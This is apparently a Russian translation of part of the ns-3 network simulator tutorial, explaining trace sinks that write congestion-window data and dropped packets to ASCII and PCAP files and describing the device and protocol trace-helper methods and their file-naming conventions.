В первой части фрагмента кода, приведенного выше, мы создаем объект управляющий файлом ASCII-трассировки и используем вариант функции создания обратного вызова, чтобы организовать передачу объекта в приемник. Помощники ASCII‑трассировки предоставляют широкий набор функций, облегчающих использование текстовых (ASCII) файлов. Мы просто намерены здесь проиллюстрировать использование функции создания файлового потока.
В своей основе, функция CreateFileStream создает экземпляр объекта std :: ofstream и новый файл (или усекает (удаляет содержимое) существующего файла). Этот std::ofstream упакован в объект ns-3, что решает вопросы управления временем жизни и реализации копирующего конструктора.
Затем мы берем этот объект ns-3, представляющий файл, и передаем его в MakeBoundCallback (). Эта функция создает обратный вызов, аналогичный MakeCallback (), но он «привязывает» новое значение к обратному вызову. Это значение добавляется как первый аргумент обратного вызова, перед его вызовом.
По сути, MakeBoundCallback (& CwndChange, stream) заставляет источник трассировки добавить дополнительный параметр «stream» в начало списка формальных параметров обратного вызова, перед обращением к нему. Это меняет необходимую сигнатуру приемника CwndChange, совпадающую с показанной выше, которая включает поток как дополнительный параметр Ptr .
Во второй части кода, фрагмента выше, мы создаем экземпляр PcapHelper, чтобы сделать для нашего файла PCAP‑трассировки то же, что делали при создании AsciiTraceHelper. Строка кода,
```
Ptr file = pcapHelper.CreateFile ("sixth.pcap",
"w", PcapHelper::DLT\_PPP);
```
создает файл PCAP с именем sixth.pcap в режиме «w». Это означает, что новый файл будет усечен (содержимое удалено) если найден существующий файл с таким именем. Последний параметр — это «тип данных канала передачи» нового PCAP‑файла. Он такой же, как типы линков данных библиотеки PCAP, что определены в bpf.h, если вы знакомы с PCAP. В данном случае DLT\_PPP указывает, что файл PCAP будет содержать пакеты с префиксом заголовков точка-точка. Именно такие пакеты приходят от нашего драйвера устройства точка-точка. Другие распространенные типы каналов передачи данных: DLT\_EN10MB (10 МБ Ethernet) для csma устройств и DLT\_IEEE802\_11 (IEEE 802.11) для wifi устройств. Это определено в src/network/helper/trace-helper.h, если вам интересно посмотреть список. Записи в списке совпадают с таковыми в bpf.h, но мы дублируем их, чтобы избежать зависимости от исходников PCAP.
Объект ns-3, возвращаемый CreateFile, представляет собой PCAP файл, и используется в соответствующем обратном вызове точно так же, как было сделано с ASCII.
Важное примечание: необходимо отметить, что, хотя оба этих объекта объявлены очень похожими способами,
```
Ptr file ...
Ptr stream ...
```
Но базовые объекты совершенно разные. Например, Ptr является умным указателем на Object ns-3, довольно тяжелый объект, который поддерживает атрибуты и интегрирован в систему Config. В то время как Ptr, является умным указателем на объект с подсчетом ссылок, который является очень легковесной сущностью. Не забудьте посмотреть на объект, на который вы ссылаетесь, прежде чем делать какие-либо предположения о «Полномочиях», которые может иметь этот объект.
Например, взгляните в дистрибутиве на src/network/utils/pcap-file-wrapper.h и обратите внимание,
```
class PcapFileWrapper : public Object
```
что этот класс PcapFileWrapper является наследником Object ns-3. Затем посмотрите на src/network/model/output-stream-wrapper.h и убедитесь,
```
class OutputStreamWrapper : public
SimpleRefCount
```
что этот объект вообще не является наследником Object ns-3, это «просто» объект C++, который поддерживает встроенный счетчик ссылок. Дело в том, что если вы видите Ptr <что-то>, это не обязательно означает, что «что-то» это ns-3 объект, на который вы можете например повесить атрибуты ns-3. Теперь вернемся к примеру. Если вы соберете и запустите этот пример,
```
$ ./waf --run sixth
```
то увидите те же сообщения, что и при запуске «fifth», но в директории верхнего уровня вашего дистрибутива ns-3 появятся два новых файла:
```
sixth.cwnd sixth.pcap
```
Так как «sixth.cwnd» является текстовым ASCII файлом, вы можете просмотреть его с помощью cat или вашего любимого просмотрщика файлов.
```
1 0 536
1.0093 536 1072
1.01528 1072 1608
1.02167 1608 2144
...
9.69256 5149 5204
9.89311 5204 5259
```
Это окажется файл с разделенными табуляцией меткой времени, старым окном заторов и новым окном заторов, который годен для непосредственного импорта в вашу рисовальную программу. В файле нет посторонних трасс, нет необходимости в анализе или редактировании.
Поскольку «sixth.pcap» является файлом PCAP, вы можете просмотреть его с помощью tcpdump.
```
reading from file sixth.pcap, link-type PPP (PPP)
1.136956 IP 10.1.1.1.49153 > 10.1.1.2.8080: Flags [.], seq 17177:17681, ack 1, win 32768, options [TS val 1133 ecr 1127,eol], length 504
1.403196 IP 10.1.1.1.49153 > 10.1.1.2.8080: Flags [.], seq 33280:33784, ack 1, win 32768, options [TS val 1399 ecr 1394,eol], length 504
...
7.426220 IP 10.1.1.1.49153 > 10.1.1.2.8080: Flags [.], seq 785704:786240, ack 1, win 32768, options [TS val 7423 ecr 7421,eol], length 536
9.630693 IP 10.1.1.1.49153 > 10.1.1.2.8080: Flags [.], seq 882688:883224, ack 1, win 32768, options [TS val 9620 ecr 9618,eol], length 536
```
В PCAP файле будут пакеты, которые были потеряны в симуляции. В файле не присутствуют другие пакеты и нет чего либо, что усложнит жизнь.
Это был долгий путь, но мы сейчас находимся в той точке, где можем оценить систему трассировки ns-3. Мы вытащили важные события из сердцевины реализации TCP и драйвера устройства. Мы сохранили эти события прямо в файлы, понятные широко известным инструментам. Мы сделали это без изменения какого-либо основного кода, и всего лишь в 18 строках кода:
```
static void
CwndChange (Ptr stream, uint32\_t oldCwnd,
uint32\_t newCwnd)
{
NS\_LOG\_UNCOND (Simulator::Now ().GetSeconds () << "\t" << newCwnd);
\*stream->GetStream () << Simulator::Now ().GetSeconds () << "\t" << oldCwnd << "\t" << newCwnd << std::endl;
}
...
AsciiTraceHelper asciiTraceHelper;
Ptr stream = asciiTraceHelper.CreateFileStream ("sixth.cwnd");
ns3TcpSocket->TraceConnectWithoutContext ("CongestionWindow", MakeBoundCallback (& CwndChange, stream));
...
static void
RxDrop (Ptr file, Ptr p)
{
NS\_LOG\_UNCOND ("RxDrop at " << Simulator::Now ().GetSeconds ());
file->Write(Simulator::Now(), p);
}
...
PcapHelper pcapHelper;
Ptr file = pcapHelper.CreateFile ("sixth.pcap", "w", PcapHelper::DLT\_PPP);
devices.Get (1)->TraceConnectWithoutContext("PhyRxDrop", MakeBoundCallback (&RxDrop, file));
```
7.4 Помощники трассировки
-------------------------
Помощники трассировки ns-3 предоставляют богатую среду для настройки и выбора различных событий трассировки и их записи в файлы. В предыдущих главах, в первую очередь в 6, мы увидели несколько разновидностей вспомогательных методов трассировки, предназначенных для использования внутри других (устройств) помощников.
Возможно, вы вспомните, увидев некоторые из этих вариантов:
```
pointToPoint.EnablePcapAll ("second");
pointToPoint.EnablePcap ("second", p2pNodes.Get (0)->GetId (), 0);
csma.EnablePcap ("third", csmaDevices.Get (0), true);
pointToPoint.EnableAsciiAll (ascii.CreateFileStream ("myfirst.tr"));
```
Что может быть неочевидным, так это то, что существует согласованная модель для всех существующих в системе связанных с трассировкой методов. Теперь мы потратим немного времени и посмотрим на «большую картину».
В настоящее время в ns-3 существуют два основных варианта использования помощников трассировки: помощники устройств и помощники протоколов. Помощники устройств решают вопрос описания, какие трассировки должны быть включены через пару (узел, устройство). Например, вы можете указать, что PCAP-трассировка должна быть включена на определенном устройстве на определенном узле. Это следует из концептуальной модели устройства ns-3, а также концептуальных моделей различных помощников устройств. Затем, исходя из этого, именование создаваемых файлы следуют соглашению <префикс> — <узел> — <устройство>.
Помощники протокола решают вопрос описания, какие трассировки должны быть разрешены для пары протокола и интерфейса. Это следует из концептуальной модели стека протоколов ns-3, а также концептуальных моделей помощников интернет стека. Естественно, файлы трассировки должны соответствовать соглашению об именах <префикс> — <протокол> — <устройства>.
Таким образом, помощники трассировки естественным образом попадают в двумерную таксономию. Есть тонкости, которые мешают всем четырем классам вести себя одинаково, но мы стремимся заставить их работать одинаково и всякий раз, когда возможно, иметь аналоги для всех методов во всех классах.
| | | |
| --- | --- | --- |
| | PCAP | ASCII |
| Помощник устройства | V | V |
| Помощник протокола | V | V |
Чтобы добавить функциональность трассировки в наши вспомогательные классы, мы используем подход под названием mixin (примесь). Миксин это класс, который обеспечивает функциональность, когда она наследуется подклассом. Наследование от миксина не считается формой специализации, но реальным способом коллекционировать функциональность.
Давайте кратко рассмотрим все четыре случая и соответствующие им миксины.
### 7.4.1 Помощники устройств
### PCAP
Задача этих помощников — упростить добавление в устройство ns-3 средств полноценной PCAP-трассировки. Мы хотим, чтобы все возможные варианты PCAP-трассировки работали одинаково на всех устройствах, поэтому методы этих помощников наследуются помощниками устройств. Если вы хотите следить за обсуждением имея перед глазами реальный код, то посмотрите на src/network/helper/trace-helper.h, .
Класс PcapHelperForDevice представляет собой миксин, обеспечивающий высокоуровневую функциональность для использования PCAP-трассировки в устройстве ns-3. Каждое устройство должно реализовывать один виртуальный метод, унаследованный от этого класса.
```
virtual void EnablePcapInternal (std::string prefix, Ptr nd, bool promiscuous, bool explicitFilename) = 0;
```
Сигнатура этого метода отражает «устройствоцентрический» взгляд на происходящее в этом уровне. Все публичные методы, унаследованные от класса PcapUserHelperForDevice, сводятся к вызову этого единственного, зависящего от реализации устройства, метода. Например, метод PCAP самого низкого уровня,
```
void EnablePcap (std::string prefix, Ptr nd, bool promiscuous = false, bool explicitFilename = false);
```
будет напрямую вызывать EnablePcapInternal, реализацию в устройстве. Все другие общедоступные методы PCAP-трассировки опираются на эту реализацию, чтобы обеспечить дополнительную функциональность на уровне пользователя. Для пользователя это означает, что если устройство правильно реализует EnablePcapInternal, то у помощников всех устройств в системе будут доступны все методы PCAP-трассировки и они будут работать одинаково для всех устройств.
#### Методы
```
void EnablePcap (std::string prefix, Ptr nd, bool promiscuous = false, bool explicitFilename = false);
void EnablePcap (std::string prefix, std::string ndName, bool promiscuous = false, bool explicitFilename = false);
void EnablePcap (std::string prefix, NetDeviceContainer d, bool promiscuous = false);
void EnablePcap (std::string prefix, NodeContainer n, bool promiscuous = false);
void EnablePcap (std::string prefix, uint32\_t nodeid, uint32\_t deviceid, bool promiscuous = false);
void EnablePcapAll (std::string prefix, bool promiscuous = false);
```
В каждом из методов, показанных выше, есть параметр по умолчанию, названный promiscuous («неразборчивый»), который по умолчанию равен false. Этот параметр указывает, что трассировка не должна выполняться для неразборчивого режима. Если вы хотите, чтобы ваши трассы включали весь трафик, видимый устройством (и если устройство поддерживает неразборчивый режим), просто добавьте true в любой из вызовов выше. Например,
```
Ptr nd;
...
helper.EnablePcap ("prefix", nd, true);
```
активирует захват на NetDevice, указанном в nd в неразборчивом режиме.
Первые два метода также содержат параметр по умолчанию, который называется explicitFilename, который будет обсуждаться ниже.
Рекомендуется ознакомиться с документацией API для класса PcapHelperForDevice, чтобы узнать подробности этих методов, но подведу итог…
* Вы можете включить PCAP-трассировку для конкретной пары узел/сетевое устройство, предоставив Ptr методу EnablePcap. Указатель Ptr используется неявно, поскольку сетевое устройство должно принадлежать только одному узлу (Node)(Другими словами, поскольку существует однозначное соответствие узла и устройства, метод EnablePcap получает указатель узла извлекая его из полей объекта описывающего устройство.)
. Например,
```
Ptr nd;
...
helper.EnablePcap ("prefix", nd);
```
* Вы можете включить PCAP-трассировку для конкретной пары узел/сетевое устройство, передав методу EnablePcap строку std::string, представленную сервисом имен объектов. Ptr ищется по имени в строке. Опять же, неявный, поскольку указанное сетевое устройство должно принадлежать ровно одному узлу. Например,
```
Names::Add ("server" ...);
Names::Add ("server/eth0" ...);
...
helper.EnablePcap ("prefix", "server/ath0");
```
* Вы можете включить PCAP-трассировку для набора пар узел/сетевое устройство, предоставив NetDeviceContainer. Для каждого NetDevice в контейнере проверяется тип. Для каждого устройства соответствующего типа (того же типа, что передан помощнику устройства), включится трассировка. Опять же, неявный, так как найденное сетевое устройство должно принадлежать только одному узлу. Например,
```
NetDeviceContainer d = ...;
...
helper.EnablePcap ("prefix", d);
```
* Вы можете включить PCAP-трассировку для набора пар узел/сетевое устройство, предоставив NodeContainer. Будут перебираться все NetDevice в узлах, содержащихся в NodeContainer. Для каждого из этих NetDevice, проверяется тип устройства. Трассировка будет включена для всех устройств, тип которых соответствует типу, переданному помощнику устройства).
```
NodeContainer n; ... helper.EnablePcap ("prefix", n);
```
* Вы можете включить PCAP-трассировку указав идентификаторы (ID) узла и устройства, а также с помощью явного указателя. Каждый узел в системе имеет целочисленный ID, и каждое устройство, подключенные к узлу, имеет целочисленный ID(ID устройств нумеруются относительно узла, они не глобальны.)
.
```
helper.EnablePcap ("prefix", 21, 1);
```
* Наконец, вы можете включить PCAP-трассировку для всех устройств в системе того же типа, что и переданный помощнику устройства.
```
helper.EnablePcapAll ("prefix");
```
#### Имена файлов
В описаниях методов, приведенных выше, подразумевается создание полного имени файла указанным ниже методом. По соглашению, имена файлов PCAP-трассировки в системе ns-3 имеют вид Как упоминалось ранее, каждый узел в системе будет иметь назначенный системой ID и каждое устройство будет иметь индекс интерфейса (также называемый ID устройства) относительно его узла. При включении трассировки на первом устройстве узла 21, по умолчанию создается файл PCAP-трассировки, с использованием префикса «prefix» его имя будет prefix-21-1.pcap.
```
<префикс> - <идентификатор узла> - <идентификатор устройства> .pcap
```
Вы всегда можете использовать сервис имен объектов ns-3, чтобы сделать это более понятным. Например, если вы используете сервис имен объектов для присвоения имени «сервер» узлу 21, то в результате имя файла трассировки PCAP автоматически станет, prefix-server-1.pcap, и если вы также назначите устройству имя «eth0», имя вашего файла PCAP автоматически подхватит это изменение и станет называться prefix-server-eth0.pcap.
Наконец, два метода, из показанных выше,
```
void EnablePcap (std::string prefix, Ptr nd, bool promiscuous = false, bool explicitFilename = false);
void EnablePcap (std::string prefix, std::string ndName, bool promiscuous = false, bool explicitFilename = false);
```
имеют параметр по умолчанию, который называется explicitFilename (явное имя файла). При значении true этот параметр отключает автоматический механизм генерации имени файла и позволяет вам задать имя файла явно. Эта опция доступна только в методах, которые включают PCAP‑трассировку на одном устройстве.
Например, чтобы помощник устройства создал PCAP файл с захватом в неразборчивом режиме с именем my-pcap-file.pcap, можно использовать:
```
Ptr nd;
...
helper.EnablePcap ("my-pcap-file.pcap", nd, true, true);
```
Первый параметр true разрешает трассировку в неразборчивом режиме, а второй указывает помощнику интерпретировать параметр prefix как полное имя файла.
### ASCII
Поведение вспомогательного миксина ASCII-трассировки в значительной степени сходно с версией для PCAP. Посмотрите на src/network/helper/trace-helper.h, если вы хотите следить за обсуждением, глядя на реальный код.
Класс AsciiTraceHelperForDevice добавляет функциональность высокого уровня для использования ASCII-трассировки в классе помощника устройства. Как и в случае PCAP, каждое устройство должно реализовывать один виртуальный метод, унаследованный от миксина ASCII-трассировки.
```
virtual void EnableAsciiInternal (Ptr stream,
std::string prefix,
Ptr nd,
bool explicitFilename) = 0;
```
Сигнатура этого метода отражает «устройствоцентрический» взгляд на ситуацию в этом уровне, а также тот факт, что помощник может выполнять запись в общий поток вывода. Все открытые методы, связанные с ASCII-трассировкой, унаследованные от класса AsciiTraceHelperForDevice, сводятся к вызову этого единственного зависящего от реализации устройства метода. Например, методы ASCII‑трассировки самого низкого уровня,
```
void EnableAscii (std::string prefix, Ptr nd, bool explicitFilename = false);
void EnableAscii (Ptr stream, Ptr nd);
```
будут напрямую вызывать реализацию EnableAsciiInternal в устройстве, предоставляя либо реальный префикс, либо поток. Все другие общедоступные методы ASCII-трассировки будут основываться на этих низкоуровневых функциях для обеспечения дополнительного пользовательского уровня функциональности. Для пользователя это означает, что все помощники устройств в системе будут иметь все доступные методы ASCII-трассировки и все эти методы будут работать одинаково на всех устройствах, если устройства реализуют EnablAsciiInternal правильно.
#### Методы
```
void EnableAscii (std::string prefix, Ptr nd, bool explicitFilename = false);
void EnableAscii (Ptr stream, Ptr nd);
void EnableAscii (std::string prefix, std::string ndName, bool explicitFilename = false);
void EnableAscii (Ptr stream, std::string ndName);
void EnableAscii (std::string prefix, NetDeviceContainer d);
void EnableAscii (Ptr stream, NetDeviceContainer d);
void EnableAscii (std::string prefix, NodeContainer n);
void EnableAscii (Ptr stream, NodeContainer n);
void EnableAsciiAll (std::string prefix);
void EnableAsciiAll (Ptr stream);
void EnableAscii (std::string prefix, uint32\_t nodeid, uint32\_t deviceid, bool explicitFilename);
void EnableAscii (Ptr stream, uint32\_t nodeid, uint32\_t deviceid);
```
Рекомендуется ознакомиться с документацией API для класса
AsciiTraceHelperForDevice, чтобы узнать подробности из этих методов, но подведу итог…
* Для ASCII-трассировки доступно в два раза больше методов, чем для PCAP-трассировки. Это потому, что в дополнение к модели в стиле PCAP, где трассы от каждой уникальной пары узел/устройство записываются в уникальный файл, мы поддерживаем модель, в которой трассировочная информация от многих пар узлов/устройств записывается в общий файл. Этот означает, что механизм генерации имени файла заменен механизмом ссылки на общий файл; и число методов API удваивается, чтобы разрешить все комбинации.
```
<префикс> - <узел> - <устройство>
```
* Как и в случае PCAP-трассировки, вы можете включить ASCII-трассировку для конкретной пары (узел, сетевое устройство), передав Ptr в метод EnableAscii. Ptr неявный, так как сетевое устройство может принадлежать только одному узлу. Например,
```
Ptr nd;
...
helper.EnableAscii ("prefix", nd);
```
* Первые четыре метода также включают параметр по умолчанию, который называется explicitFilename, который работает аналогично эквивалентным параметрам в случае PCAP. Но теперь контексты трассировки не записываются в файл ASCII-трассировки, поскольку они будут избыточными. Система будет выбирать имя для создаваемого файла, используя те же правила, которые описаны в разделе PCAP, за исключением того, что файл будет иметь суффикс .tr вместо .pcap.
* Если вы хотите включить ASCII-трассировку на более чем одном сетевом устройстве и отправить все трассировки в один файл, вы может сделать это с помощью объекта ссылки на единый файл. Мы уже видели это на примере cwnd выше: В этом случае контексты трассировки записываются в файл ASCII-трассировки, поскольку они необходимы для устранения неоднозначности трассировок от двух устройств. Обратите внимание, что, поскольку пользователь полностью указывает имя файла, строка должна включать для единообразия суффикс «.tr».
```
Ptr nd1;
Ptr nd2;
...
Ptr stream = asciiTraceHelper.CreateFileStream ("trace-file-name.tr");
...
helper.EnableAscii (stream, nd1);
helper.EnableAscii (stream, nd2);
```
* Вы можете включить ASCII-трассировку для конкретной пары (узел, сетевое устройство), предоставив методу EnablePcap строку std::string, представляющую строку от сервиса имен объектов. Ptr ищется по имени из строки. Опять же, неявный, поскольку указанное сетевое устройство должно принадлежать ровно одному узлу. Например, Это приведет к созданию двух файлов с именами prefix-client-eth0.tr и prefix-server-eth0.tr с трассировками для каждого устройства в соответствующем файле трассировки. Поскольку все функции EnableAscii перегружены в обертке для работы с потоками, вы можете использовать такую форму:
```
Names::Add ("client" ...);
Names::Add ("client/eth0" ...);
Names::Add ("server" ...);
Names::Add ("server/eth0" ...);
...
helper.EnableAscii ("prefix", "client/eth0");
helper.EnableAscii ("prefix", "server/eth0");
```
```
Names::Add ("client" ...);
Names::Add ("client/eth0" ...);
Names::Add ("server" ...);
Names::Add ("server/eth0" ...);
...
Ptr stream = asciiTraceHelper.CreateFileStream ("trace-file-name.tr");
...
helper.EnableAscii (stream, "client/eth0");
helper.EnableAscii (stream, "server/eth0");
```
Это приведет к созданию одного файла трассировки с именем trace-file-name.tr, который содержит все события трассировки для обоих устройств. События будут замещены строками контекста трассировки.
* Вы можете включить ASCII-трассировку для набора пар (узел, сетевое устройство), предоставив NetDeviceContainer. Для каждого NetDevice в контейнере проверяется тип. Трассировка включится для каждого устройства соответствующего типа (того же типа, что и полученный помощником устройства). Опять же, является неявным, поскольку найденное сетевое устройство может принадлежать только одному узлу. Например, Это приведет к созданию нескольких файлов ASCII-трассировки, каждый из которых следует соглашению
```
<префикс> - <идентификатор узла> - <идентификатор устройства>.tr
```
.
```
NetDeviceContainer d = ...;
...
helper.EnableAscii ("prefix", d);
```
* Объединение всех трасс в один файл выполняется аналогично приведенным выше примерам:
```
NetDeviceContainer d = ...;
...
Ptr stream = asciiTraceHelper.CreateFileStream ("trace-file-name.tr");
...
helper.EnableAscii (stream, d);
```
* Вы можете включить ASCII-трассировку для набора пар (узел, сетевое устройство), предоставив NodeContainer. Будут перебираться все NetDevice в узлах, содержащихся в NodeContainer. Для каждого из этих NetDevice, проверяется тип устройства. Трассировка будет включена для всех устройств, тип которых соответствует типу, переданному помощнику устройства).Это приведет к созданию нескольких файлов ASCII-трассировки, каждый из которых следует соглашению. Объединение всех трасс в один файл выполняется аналогично примерам выше.
```
NodeContainer n;
...
helper.EnableAscii ("prefix", n);
```
```
<префикс>-<идентификатор узла>-<идентификатор устройства>.tr
```
* Вы можете включить ASCII-трассировку на основе идентификаторов узла и устройства, а также с помощью явного указателя. У каждого узла в системе имеется целочисленный ID и каждое устройство, подключенное к узлу, тоже имеет целочисленный ID.Конечно, трассы могут быть объединены в один файл, как показано выше.
```
helper.EnableAscii ("prefix", 21, 1);
```
* Наконец, вы можете включить ASCII-трассировку для всех устройств в системе того же типа, что и переданный помощнику устройств.Это приведет к созданию нескольких файлов ASCII-трассировки, по одному на каждого устройство системы с типом переданным помощнику. Все эти файлы будут следовать соглашению. Объединение всех трасс в один файл выполняется аналогично приведенным выше примерам.
```
helper.EnableAsciiAll ("prefix");
```
```
<префикс>-<идентификатор узла>-<идентификатор устройства>.tr
```
#### Имена файлов
В приведенных выше описаниях методов в стиле префикса подразумевается создание полных имен файлов посредством показанного ниже метода. По соглашению ASCII-трассировки в системе ns-3 имеют вид .
```
<префикс>-<идентификатор узла>-<идентификатор устройства>.tr
```
Как упоминалось ранее, каждый узел в системе будет иметь назначенный системой ID узла и каждое устройство будет иметь индекс интерфейса (также называемый ID устройства) относительно его узла. По умолчанию в результате включения трассировки на первом устройстве узла 21 создается файл ASCII-трассировки с использованием префикса «prefix»: prefix-21-1.tr.
Вы всегда можете использовать сервис имен объектов ns-3, чтобы сделать это более понятным. Например, если вы используете сервис имен объектов для присвоения имени «server» узлу 21, результирующее имя файла ASCII-трассировки автоматически станет prefix-server-1.tr и если вы также назначите устройству имя «eth0», имя файла ASCII-трассировки автоматически подхватит его и станет называться prefix-server-eth0.tr.
Некоторые из методов имеют параметр по умолчанию, который называется explicitFilename. Когда его значение установлено в true, этот параметр отключает механизм автоматического завершения имени файла и позволяет вам создать явное имя файла. Эта опция доступно только в тех методах, которые принимают префикс и включают трассировку на одном устройстве.
### 7.4.2 Помощники протоколов
#### PCAP
Цель этих миксинов — упростить добавление в протоколы согласованного средства PCAP-трассировки. Мы хотим, чтобы любые варианты PCAP-трассировки работали одинаково для всех протоколов, поэтому методы этих помощников наследуются помощниками стека. Если вы хотите следить за обсуждением глядя на реальный код, посмотрите на src/network/helper/trace-helper.h.
В этом разделе мы будем иллюстрировать методы применительно к протоколу Ipv4. Для трассировки в аналогичных протоколах, просто замените соответствующий тип. Например, используйте Ptr вместо Ptr и вызовите EnablePcapIpv6 вместо EnablePcapIpv4.
Класс PcapHelperForIpv4 обеспечивает функциональность высокого уровня для использования PCAP-трассировки в протоколе Ipv4. Каждый помощник протокола, разрешающий эти методы, должен реализовывать один виртуальный метод, унаследованный от этого класса. Там, например, будет отдельная реализация для Ipv6, но единственное отличие будет в именах методов и сигнатуре. Различные имена методов требуются для устранения из Ipv6 неоднозначности класса Ipv4, поскольку оба являются производными от класса Object и их методы, имеют одинаковую сигнатуру.
```
virtual void EnablePcapIpv4Internal (std::string prefix,
Ptr ipv4,
uint32\_t interface,
bool explicitFilename) = 0;
```
Сигнатура этого метода отражает протокол и «интерфейсориентированный» взгляд на ситуацию в этом уровне. Все открытые методы, унаследованные от класса PcapHelperForIpv4, сводятся к вызову этого единственного зависящего от реализации устройства метода. Например, метод PCAP самого низкого уровня,
```
void EnablePcapIpv4 (std::string prefix, Ptr ipv4, uint32\_t interface, bool explicitFilename = false);
```
будет напрямую вызывать реализациюEnablePcapIpv4Internal для устройства. Все другие общедоступные методы PCAP-трассировки опираются на эту реализацию, чтобы обеспечить дополнительную функциональность на уровне пользователя. Для пользователя это означает, что у любого помощника протокола в системе будут доступны все методы PCAP-трассировки и эти методы будут работать для протоколов одинаково, если помощник правильно реализует EnablePcapIpv4Internal.
#### Методы
Эти методы предназначены для того, чтобы один в один соответствовать Node- и NetDevice-ориентированными версиям устройства. Вместо ограничений пары Node и NetDevice мы используем ограничения протокола и интерфейса.
Обратите внимание, что, как и в версии устройства, есть шесть методов:
```
void EnablePcapIpv4 (std::string prefix, Ptr ipv4, uint32\_t interface, bool explicitFilename = false);
void EnablePcapIpv4 (std::string prefix, std::string ipv4Name, uint32\_t interface, bool explicitFilename = false);
void EnablePcapIpv4 (std::string prefix, Ipv4InterfaceContainer c);
void EnablePcapIpv4 (std::string prefix, NodeContainer n);
void EnablePcapIpv4 (std::string prefix, uint32\_t nodeid, uint32\_t interface, bool explicitFilename);
void EnablePcapIpv4All (std::string prefix);
```
Рекомендуется ознакомиться с документацией API для класса PcapHelperForIpv4, чтобы узнать подробности этих методов, но подведу итог…
* Вы можете включить PCAP-трассировку для конкретной пары протокол/интерфейс, указав Ptr и интерфейс для метода EnablePcap. Например,
```
Ptr ipv4 = node->GetObject ();
...
helper.EnablePcapIpv4 ("prefix", ipv4, 0);
```
* Вы можете включить PCAP-трассировку для конкретной пары узел/сетевое устройство, предоставив строку std::string, которую вернул сервис имен объектов, методу EnablePcap.Ptr . Например,
```
Names::Add ("serverIPv4" ...);
...
helper.EnablePcapIpv4 ("prefix", "serverIpv4", 1);
```
* Вы можете включить PCAP-трассировку для набора пар протокола/интерфейса, предоставив Ipv4InterfaceContainer. Для каждой пары Ipv4/интерфейс в контейнере проверяется тип протокола. Для каждого протокола соответствующего типа (того же типа, что был передан помощнику устройства) будет включена трассировка для соответствующего интерфейса. Например,
```
NodeContainer nodes;
...
NetDeviceContainer devices = deviceHelper.Install (nodes);
...
Ipv4AddressHelper ipv4;
ipv4.SetBase ("10.1.1.0", "255.255.255.0");
Ipv4InterfaceContainer interfaces = ipv4.Assign (devices);
...
helper.EnablePcapIpv4 ("prefix", interfaces);
```
* Вы можете включить PCAP-трассировку для набора пар протокол/интерфейс, предоставив NodeContainer. Для каждого найденного в NodeContainer узла с соответствующим протоколом. Для каждого протокола перебираются его интерфейсы и на результирующих парах включается трассировка. Например,
```
NodeContainer n;
...
helper.EnablePcapIpv4 ("prefix", n);
```
* Вы можете включить PCAP-трассировку указав ID узла и интерфейса. В этом случае идентификатор узла транслируется в Ptr и в узле разыскивается соответствующий протокол. Итоговый протокол и интерфейс используется для указания результирующего источника трассировки.
```
helper.EnablePcapIpv4 ("prefix", 21, 1);
```
* Наконец, вы можете включить PCAP-трассировку для всех интерфейсов в системе, у которых связанный протокол будет тот же, что был передан помощнику устройства.
```
helper.EnablePcapIpv4All ("prefix");
```
#### Имена файлов
Во всех описанных выше методах подразумевается построение полных имен файлов посредством описанного ниже метода. По соглашению, PCAP-трассировки, полученные для устройств в системе ns-3, имеют вид. В случае трассировки протоколов существует однозначное соответствие между протоколами и узлами. Это потому, что объекты протокола агрегируются в объекты узла. Поскольку в системе нет глобального идентификатора протокола, мы используем в именовании файлов соответствующий идентификатор узла. Поэтому существует вероятность конфликтов имен файлов в автоматически выбранных именах файлов трассировки. По этой причине соглашение об именах файлов трассировки протоколов изменено.
```
<префикс> - <идентификатор узла> - <идентификатор устройства> .pcap
```
Как упоминалось ранее, каждый узел в системе будет иметь назначенный системой идентификатор. Так как между экземплярами протокола и экземплярами узла есть соответствие один-к-одному, мы используем идентификатор узла. Каждый интерфейс имеет идентификатор относительно его протокола. Для именования файлов трассировки в помощниках протокола мы используем соглашение. Поэтому при включении PCAP-трассировки на интерфейсе 1 протокола Ipv4 узла 21 по умолчанию создается файл трассировки, использующий префикс «prefix»: «prefix-n21-i1.pcap».
```
<префикс> -n <идентификатор узла> -i <идентификатор интерфейса> .pcap
```
Вы всегда можете воспользоваться сервисом имен объектов ns-3, чтобы сделать это более понятным. Например, если вы использовали сервис имен объектов для присвоения имени «serverIpv4» для Ptr на узле 21, то результирующее имя файла PCAP-трассировки автоматически станет, «prefix-nserverIpv4-i1.pcap».
Некоторые из методов имеют параметр по умолчанию, который называется explicitFilename. Когда установлено значение true, этот параметр отключает механизм автоматического завершения имени файла и позволяет вам явно указать его имя. Эта опция доступно только в тех методах, которые принимают префикс и включают трассировку на одном устройстве.
#### ASCII
Поведение ASCII-трассировщиков по большей части похоже на случай PCAP. Если вы хотите следить за обсуждением, глядя на реальный код, то взгляните на
src/network/helper/trace-helper.h.
В этом разделе мы будем иллюстрировать методы применительно к протоколу Ipv4. Чтобы выбрать трассировку для аналогичного протокола, просто подставьте соответствующий тип. Например, используйте Ptr вместо Ptr и вызовите EnableAsciiIpv6 вместо EnableAsciiIpv4.
Класс AsciiTraceHelperForIpv4 добавляет в помощник протокола функциональность высокого уровня для использования ASCII-трассировки. Каждый протокол, который включает эти методы, должен реализовывать один виртуальный метод, унаследованный от этого класса.
```
virtual void EnableAsciiIpv4Internal (Ptr stream,
std::string prefix,
Ptr ipv4,
uint32\_t interface,
bool explicitFilename) = 0;
```
Сигнатура этого метода отражает протокол и «интерфейснориентированное» представление о ситуации в этом уровне, а также тот факт, что помощник может писать в общий поток вывода. Все открытые методы, унаследованные от класса PcapAndAsciiTraceHelperForIpv4 сводятся к вызову этого единственного, зависящего от реализации устройства, метода. Например, методы ASCII-трассировки самого низкого уровня,
```
void EnableAsciiIpv4 (std::string prefix, Ptr ipv4, uint32\_t interface, bool explicitFilename = false);
void EnableAsciiIpv4 (Ptr stream, Ptr ipv4, uint32\_t interface);
```
будут напрямую вызывать реализацию метода EnableAsciiIpv4Internal для устройства, предоставляя либо префикс, либо поток. Все другие общедоступные методы ASCII-трассировки будут основываться на этих низкоуровневых функциях для обеспечения дополнительной функциональности уровня пользователя. Для пользователя это означает, что все помощники устройств в системе будут иметь все доступные методы ASCII-трассировки и эти методы будут работать одинаково для всех протоколов, если протоколы корректно реализуют EnableAsciiIpv4Internal.
#### Методы
```
void EnableAsciiIpv4 (std::string prefix, Ptr ipv4, uint32\_t interface, bool explicitFilename = false);
void EnableAsciiIpv4 (Ptr stream, Ptr ipv4, uint32\_t interface);
void EnableAsciiIpv4 (std::string prefix, std::string ipv4Name, uint32\_t interface, bool explicitFilename = false);
